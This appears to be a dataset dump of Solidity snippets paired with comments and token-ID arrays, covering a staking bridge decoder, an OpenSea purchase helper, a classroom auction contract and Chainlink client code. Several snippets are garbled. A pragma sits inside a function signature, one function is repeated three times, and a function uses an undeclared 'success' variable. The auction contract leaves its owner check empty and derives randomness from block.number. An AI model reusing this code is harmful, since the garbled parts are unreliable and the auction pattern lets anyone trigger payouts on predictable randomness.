abstract contract AdvancedStakingBridgedDataCoder { function _encodeBridgedData( uint24 _nonce, bytes4 action, bytes memory message pragma solidity ^0.8.16; ) internal pure returns (bytes memory content) { content = abi.encodePacked(_nonce, action, message); } function _decodeBridgedData(bytes memory content) internal pure returns ( uint256 _nonce, bytes4 action, bytes memory message ) { require(content.length >= 7, "ABD:WRONG_LENGTH"); _nonce = (uint256(uint8(content[0])) << 16) | (uint256(uint8(content[1])) << 8) | uint256(uint8(content[2])); action = bytes4( uint32( (uint256(uint8(content[3])) << 24) | (uint256(uint8(content[4])) << 16) | (uint256(uint8(content[5])) << 8) | uint256(uint8(content[6])) ) ); uint256 curPos = 7; uint256 msgLength = content.length - curPos; message = new bytes(msgLength); if (msgLength > 0) { uint256 i = 0; while (i < msgLength) { message[i++] = content[curPos++]; } } } function _decodeBridgedData(bytes memory content) internal pure returns ( uint256 _nonce, bytes4 action, bytes memory message ) { require(content.length >= 7, "ABD:WRONG_LENGTH"); _nonce = (uint256(uint8(content[0])) << 16) | (uint256(uint8(content[1])) << 8) | uint256(uint8(content[2])); action = bytes4( uint32( (uint256(uint8(content[3])) << 24) | (uint256(uint8(content[4])) << 16) | (uint256(uint8(content[5])) << 8) | uint256(uint8(content[6])) ) ); uint256 curPos = 7; uint256 msgLength = content.length - curPos; message = new bytes(msgLength); if (msgLength > 0) { uint256 i = 0; while (i < msgLength) { message[i++] = content[curPos++]; } } } function _decodeBridgedData(bytes memory content) internal pure returns ( uint256 _nonce, bytes4 action, bytes memory message ) { require(content.length >= 7, "ABD:WRONG_LENGTH"); _nonce = (uint256(uint8(content[0])) << 16) | (uint256(uint8(content[1])) << 8) | uint256(uint8(content[2])); action = bytes4( uint32( (uint256(uint8(content[3])) << 24) | (uint256(uint8(content[4])) << 16) | (uint256(uint8(content[5])) << 8) | uint256(uint8(content[6])) ) ); uint256 curPos = 7; uint256 msgLength = content.length - curPos; message = new bytes(msgLength); if (msgLength > 0) { uint256 i = 0; while (i < msgLength) { message[i++] = content[curPos++]; } } } }
2,780,688
[ 1, 23618, 510, 6159, 38, 1691, 2423, 751, 7975, 225, 2597, 2017, 261, 2920, 13, 471, 16889, 261, 17309, 13, 2743, 364, 324, 1691, 1998, 2182, 3086, 13884, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 27451, 510, 6159, 38, 1691, 2423, 751, 39, 5350, 288, 203, 565, 445, 389, 3015, 38, 1691, 2423, 751, 12, 203, 3639, 2254, 3247, 389, 12824, 16, 203, 3639, 1731, 24, 1301, 16, 203, 3639, 1731, 3778, 883, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 2313, 31, 203, 565, 262, 2713, 16618, 1135, 261, 3890, 3778, 913, 13, 288, 203, 3639, 913, 273, 24126, 18, 3015, 4420, 329, 24899, 12824, 16, 1301, 16, 883, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 3922, 38, 1691, 2423, 751, 12, 3890, 3778, 913, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 203, 5411, 2254, 5034, 389, 12824, 16, 203, 5411, 1731, 24, 1301, 16, 203, 5411, 1731, 3778, 883, 203, 3639, 262, 203, 565, 288, 203, 3639, 2583, 12, 1745, 18, 2469, 1545, 2371, 16, 315, 2090, 40, 30, 7181, 7390, 67, 7096, 8863, 203, 203, 3639, 389, 12824, 273, 203, 5411, 261, 11890, 5034, 12, 11890, 28, 12, 1745, 63, 20, 22643, 2296, 2872, 13, 571, 203, 5411, 261, 11890, 5034, 12, 11890, 28, 12, 1745, 63, 21, 22643, 2296, 1725, 13, 571, 203, 5411, 2254, 5034, 12, 11890, 28, 12, 1745, 63, 22, 5717, 1769, 203, 203, 3639, 1301, 273, 1731, 24, 12, 203, 5411, 2254, 1578, 12, 203, 7734, 261, 11890, 5034, 12, 11890, 28, 12, 1745, 63, 23, 22643, 2296, 4248, 13, 571, 203, 10792, 261, 11890, 5034, 12, 11890, 28, 12, 1745, 63, 24, 22643, 2296, 2872, 13, 571, 203, 10792, 261, 2 ]
./full_match/1/0x3680622434ea25d3766bD84d5dFA57D014fEc868/sources/contracts/hacker/FBG.sol
* @dev Sets the values for {name} and {symbol}. All three of these values are immutable: they can only be set once during construction./
constructor(string memory name_, string memory symbol_, address dog_) { _name = name_; _symbol = symbol_; _dog = dog_; _mint(msg.sender, 120000000 * 10 ** 18); }
17,003,794
[ 1, 2785, 326, 924, 364, 288, 529, 97, 471, 288, 7175, 5496, 4826, 8925, 434, 4259, 924, 854, 11732, 30, 2898, 848, 1338, 506, 444, 3647, 4982, 16171, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 12, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 16, 1758, 302, 717, 67, 13, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 7010, 3639, 389, 7175, 7010, 3639, 273, 3273, 67, 31, 7010, 3639, 389, 20330, 273, 302, 717, 67, 31, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 203, 3639, 2593, 17877, 380, 1728, 2826, 6549, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IOpenSea { /** * @dev Call atomicMatch - Solidity ABI encoding limitation workaround, hopefully temporary. */ function atomicMatch_( address[14] memory addrs, uint[18] memory uints, uint8[8] memory feeMethodsSidesKindsHowToCalls, bytes memory calldataBuy, bytes memory calldataSell, bytes memory replacementPatternBuy, bytes memory replacementPatternSell, bytes memory staticExtradataBuy, bytes memory staticExtradataSell, uint8[2] memory vs, bytes32[5] memory rssMetadata ) external payable; } library OpenSeaMarket { address public constant OPENSEA = 0x7Be8076f4EA4A4AD08075C2508e481d6C946D12b; struct OpenSeaBuy { address[14] addrs; uint[18] uints; uint8[8] feeMethodsSidesKindsHowToCalls; bytes calldataBuy; bytes calldataSell; bytes replacementPatternBuy; bytes replacementPatternSell; bytes staticExtradataBuy; bytes staticExtradataSell; uint8[2] vs; bytes32[5] rssMetadata; } function buyAssetsForEth(OpenSeaBuy[] memory openSeaBuys) public { for (uint256 i = 0; i < openSeaBuys.length; i++) { _buyAssetForEth(openSeaBuys[i]); } } function _buyAssetForEth(OpenSeaBuy memory _openSeaBuy) internal { bytes memory _data = abi.encodeWithSelector(IOpenSea.atomicMatch_.selector, _openSeaBuy.addrs, _openSeaBuy.uints, _openSeaBuy.feeMethodsSidesKindsHowToCalls, _openSeaBuy.calldataBuy, _openSeaBuy.calldataSell, _openSeaBuy.replacementPatternBuy, _openSeaBuy.replacementPatternSell, _openSeaBuy.staticExtradataBuy, _openSeaBuy.staticExtradataSell, _openSeaBuy.vs, _openSeaBuy.rssMetadata); (bool success, ) = OPENSEA.call{value:_openSeaBuy.uints[4]}(_data); if (!success) { // Copy revert reason from call assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } }
Copy revert reason from call
function _buyAssetForEth(OpenSeaBuy memory _openSeaBuy) internal { bytes memory _data = abi.encodeWithSelector(IOpenSea.atomicMatch_.selector, _openSeaBuy.addrs, _openSeaBuy.uints, _openSeaBuy.feeMethodsSidesKindsHowToCalls, _openSeaBuy.calldataBuy, _openSeaBuy.calldataSell, _openSeaBuy.replacementPatternBuy, _openSeaBuy.replacementPatternSell, _openSeaBuy.staticExtradataBuy, _openSeaBuy.staticExtradataSell, _openSeaBuy.vs, _openSeaBuy.rssMetadata); if (!success) { assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } }
10,678,185
[ 1, 2951, 15226, 3971, 628, 745, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 9835, 6672, 1290, 41, 451, 12, 3678, 1761, 69, 38, 9835, 3778, 389, 3190, 1761, 69, 38, 9835, 13, 2713, 288, 203, 3639, 1731, 3778, 389, 892, 273, 24126, 18, 3015, 1190, 4320, 12, 45, 3678, 1761, 69, 18, 27718, 2060, 27799, 9663, 16, 389, 3190, 1761, 69, 38, 9835, 18, 23305, 16, 389, 3190, 1761, 69, 38, 9835, 18, 11890, 87, 16, 389, 3190, 1761, 69, 38, 9835, 18, 21386, 4712, 55, 4369, 5677, 87, 44, 543, 774, 10125, 16, 389, 3190, 1761, 69, 38, 9835, 18, 1991, 892, 38, 9835, 16, 389, 3190, 1761, 69, 38, 9835, 18, 1991, 892, 55, 1165, 16, 389, 3190, 1761, 69, 38, 9835, 18, 24394, 3234, 38, 9835, 16, 389, 3190, 1761, 69, 38, 9835, 18, 24394, 3234, 55, 1165, 16, 389, 3190, 1761, 69, 38, 9835, 18, 3845, 16229, 361, 396, 38, 9835, 16, 389, 3190, 1761, 69, 38, 9835, 18, 3845, 16229, 361, 396, 55, 1165, 16, 389, 3190, 1761, 69, 38, 9835, 18, 6904, 16, 389, 3190, 1761, 69, 38, 9835, 18, 25151, 2277, 1769, 203, 3639, 309, 16051, 4768, 13, 288, 203, 5411, 19931, 288, 203, 7734, 327, 892, 3530, 12, 20, 16, 374, 16, 327, 13178, 554, 10756, 203, 7734, 15226, 12, 20, 16, 327, 13178, 554, 10756, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.17; contract Auction { // Data //Structure to hold details of the item struct Item { uint itemId; // id of the item uint[] itemTokens; //tokens bid in favor of the item } //Structure to hold the details of a persons struct Person { uint remainingTokens; // tokens remaining with bidder uint personId; // it serves as tokenId as well address addr;//address of the bidder } mapping(address => Person) tokenDetails; //address to person Person [4] bidders;//Array containing 4 person objects Item [3] public items;//Array containing 3 item objects address[3] public winners;//Array for address of winners address public beneficiary;//owner of the smart contract uint bidderCount=0;//counter //functions function Auction() public payable{ //constructor //Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner //Hint. In the constructor,"msg.sender" is the address of the owner. // ** Start code here. 1 line approximately. **/ beneficiary = msg.sender; //** End code here. **/ uint[] memory emptyArray; items[0] = Item({itemId:0,itemTokens:emptyArray}); //uint[] memory emptyArray1; //uint[] memory emptyArray2; //Part 1 Task 2. Initialize two items with at index 1 and 2. // ** Start code here. 2 lines approximately. **/ items[1] = Item({itemId:1,itemTokens:emptyArray}); items[2] = Item({itemId:2,itemTokens:emptyArray}); //** End code here**/ } function register() public payable{ bidders[bidderCount].personId = bidderCount; //Part 1 Task 3. Initialize the address of the bidder /*Hint. Here the bidders[bidderCount].addr should be initialized with address of the registrant.*/ // ** Start code here. 1 line approximately. **/ bidders[bidderCount].addr = msg.sender; //** End code here. ** bidders[bidderCount].remainingTokens = 5; // only 5 tokens tokenDetails[msg.sender]=bidders[bidderCount]; bidderCount++; } function bid(uint _itemId, uint _count) public payable{ /* Bids tokens to a particular item. Arguments: _itemId -- uint, id of the item _count -- uint, count of tokens to bid for the item */ /* Part 1 Task 4. Implement the three conditions below. 4.1 If the number of tokens remaining with the bidder is < count of tokens bidded, revert. 4.2 If there are no tokens remaining with the bidder, revert. 4.3 If the id of the item for which bid is placed, is greater than 2, revert. Hint: "tokenDetails[msg.sender].remainingTokens" gives the details of the number of tokens remaining with the bidder. */ // ** Start code here. 2 lines approximately. **/ if (tokenDetails[msg.sender].remainingTokens < _count || tokenDetails[msg.sender].remainingTokens <= 0 || _itemId > 2) {revert(); } //** End code here. ** /*Part 1 Task 5. Decrement the remainingTokens by the number of tokens bid and store the value in balance variable. Hint. "tokenDetails[msg.sender].remainingTokens" should be decremented by "_count". */ // ** Start code here. 1 line approximately. ** uint balance = tokenDetails[msg.sender].remainingTokens - _count; //** End code here. ** tokenDetails[msg.sender].remainingTokens=balance; bidders[tokenDetails[msg.sender].personId].remainingTokens=balance;//updating the same balance in bidders map. Item storage bidItem = items[_itemId]; for(uint i=0; i<_count;i++) { bidItem.itemTokens.push(tokenDetails[msg.sender].personId); } } // Part 2 Task 1. Create a modifier named "onlyOwner" to ensure that only owner is allowed to reveal winners //Hint : Use require to validate if "msg.sender" is equal to the "beneficiary". modifier onlyOwner { // ** Start code here. 2 lines approximately. ** _; //** End code here. ** } function revealWinners() public onlyOwner{ /* Iterate over all the items present in the auction. If at least on person has placed a bid, randomly select the winner */ for (uint id = 0; id < 3; id++) { Item storage currentItem=items[id]; if(currentItem.itemTokens.length != 0){ // generate random# from block number uint randomIndex = (block.number / currentItem.itemTokens.length)% currentItem.itemTokens.length; // Obtain the winning tokenId uint winnerId = currentItem.itemTokens[randomIndex]; /* Part 1 Task 6. Assign the winners. Hint." bidders[winnerId] " will give you the person object with the winnerId. you need to assign the address of the person obtained above to winners[id] */ // ** Start coding here *** 1 line approximately. winners[id] = bidders[winnerId].addr; //** end code here* } } } //Miscellaneous methods: Below methods are used to assist Grading. Please DONOT CHANGE THEM. function getPersonDetails(uint id) public constant returns(uint,uint,address){ return (bidders[id].remainingTokens,bidders[id].personId,bidders[id].addr); } }
it serves as tokenId as well
uint personId;
941,295
[ 1, 305, 26255, 487, 1147, 548, 487, 5492, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 6175, 548, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/Chainlink.sol pragma solidity 0.4.26; import "../Buffer.sol"; /** * @title Library for common Chainlink functions * @dev Uses imported CBOR library for encoding to buffer */ library Chainlink { uint256 internal constant defaultBufferSize = 256; using CBOR for Buffer.buffer; struct Request { bytes32 id; address callbackAddress; bytes4 callbackFunctionId; uint256 nonce; Buffer.buffer buf; } /** * @notice Initializes a Chainlink request * @dev Sets the ID, callback address, and callback function signature on the request * @param self The uninitialized request * @param _id The Job Specification ID * @param _callbackAddress The callback address * @param _callbackFunction The callback function signature * @return The initialized request */ function initialize( Request memory self, bytes32 _id, address _callbackAddress, bytes4 _callbackFunction ) internal pure returns (Chainlink.Request memory) { Buffer.init(self.buf, defaultBufferSize); self.id = _id; self.callbackAddress = _callbackAddress; self.callbackFunctionId = _callbackFunction; return self; } /** * @notice Sets the data for the buffer without encoding CBOR on-chain * @dev CBOR can be closed with curly-brackets {} or they can be left off * @param self The initialized request * @param _data The CBOR data */ function setBuffer(Request memory self, bytes _data) internal pure { Buffer.init(self.buf, _data.length); Buffer.append(self.buf, _data); } /** * @notice Adds a string value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The string value to add */ function add(Request memory self, string _key, string _value) internal pure { self.buf.encodeString(_key); self.buf.encodeString(_value); } /** * @notice Adds a bytes value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The bytes value to add */ function addBytes(Request memory self, string _key, bytes _value) internal pure { self.buf.encodeString(_key); self.buf.encodeBytes(_value); } /** * @notice Adds a int256 value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The int256 value to add */ function addInt(Request memory self, string _key, int256 _value) internal pure { self.buf.encodeString(_key); self.buf.encodeInt(_value); } /** * @notice Adds a uint256 value to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _value The uint256 value to add */ function addUint(Request memory self, string _key, uint256 _value) internal pure { self.buf.encodeString(_key); self.buf.encodeUInt(_value); } /** * @notice Adds an array of strings to the request with a given key name * @param self The initialized request * @param _key The name of the key * @param _values The array of string values to add */ function addStringArray(Request memory self, string _key, string[] memory _values) internal pure { self.buf.encodeString(_key); self.buf.startArray(); for (uint256 i = 0; i < _values.length; i++) { self.buf.encodeString(_values[i]); } self.buf.endSequence(); } } // File: contracts/ENSResolver.sol pragma solidity 0.4.26; contract ENSResolver { function addr(bytes32 node) public view returns (address); } // File: contracts/interfaces/ENSInterface.sol pragma solidity 0.4.26; interface ENSInterface { // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed node, address owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed node, address resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed node, uint64 ttl); function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external; function setResolver(bytes32 node, address resolver) external; function setOwner(bytes32 node, address owner) external; function setTTL(bytes32 node, uint64 ttl) external; function owner(bytes32 node) external view returns (address); function resolver(bytes32 node) external view returns (address); function ttl(bytes32 node) external view returns (uint64); } // File: contracts/interfaces/LinkTokenInterface.sol pragma solidity 0.4.26; interface LinkTokenInterface { function allowance(address owner, address spender) external returns (bool success); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external returns (uint256 balance); function decimals() external returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external returns (string tokenName); function symbol() external returns (string tokenSymbol); function totalSupply() external returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // File: contracts/interfaces/ChainlinkRequestInterface.sol pragma solidity 0.4.26; interface ChainlinkRequestInterface { function oracleRequest( address sender, uint256 payment, bytes32 id, address callbackAddress, bytes4 callbackFunctionId, uint256 nonce, uint256 version, bytes data ) external; function cancelOracleRequest( bytes32 requestId, uint256 payment, bytes4 callbackFunctionId, uint256 expiration ) external; } // File: contracts/interfaces/PointerInterface.sol pragma solidity 0.4.26; interface PointerInterface { function getAddress() external view returns (address); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity 0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: contracts/ChainlinkClient.sol pragma solidity 0.4.26; /** * @title The ChainlinkClient contract * @notice Contract writers can inherit this contract in order to create requests for the * Chainlink network */ contract ChainlinkClient { using Chainlink for Chainlink.Request; using SafeMath for uint256; uint256 constant internal LINK = 10**18; uint256 constant private AMOUNT_OVERRIDE = 0; address constant private SENDER_OVERRIDE = 0x0; uint256 constant private ARGS_VERSION = 1; bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link"); bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle"); address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571; ENSInterface private ens; bytes32 private ensNode; LinkTokenInterface private link; ChainlinkRequestInterface private oracle; uint256 private requests = 1; mapping(bytes32 => address) private pendingRequests; event ChainlinkRequested(bytes32 indexed id); event ChainlinkFulfilled(bytes32 indexed id); event ChainlinkCancelled(bytes32 indexed id); /** * @notice Creates a request that can hold additional parameters * @param _specId The Job Specification ID that the request will be created for * @param _callbackAddress The callback address that the response will be sent to * @param _callbackFunctionSignature The callback function signature to use for the callback address * @return A Chainlink Request struct in memory */ function buildChainlinkRequest( bytes32 _specId, address _callbackAddress, bytes4 _callbackFunctionSignature ) internal pure returns (Chainlink.Request memory) { Chainlink.Request memory req; return req.initialize(_specId, _callbackAddress, _callbackFunctionSignature); } /** * @notice Creates a Chainlink request to the stored oracle address * @dev Calls `chainlinkRequestTo` with the stored oracle address * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return The request ID */ function sendChainlinkRequest(Chainlink.Request memory _req, uint256 _payment) internal returns (bytes32) { return sendChainlinkRequestTo(oracle, _req, _payment); } /** * @notice Creates a Chainlink request to the specified oracle address * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to * send LINK which creates a request on the target oracle contract. * Emits ChainlinkRequested event. * @param _oracle The address of the oracle for the request * @param _req The initialized Chainlink Request * @param _payment The amount of LINK to send for the request * @return The request ID */ function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory 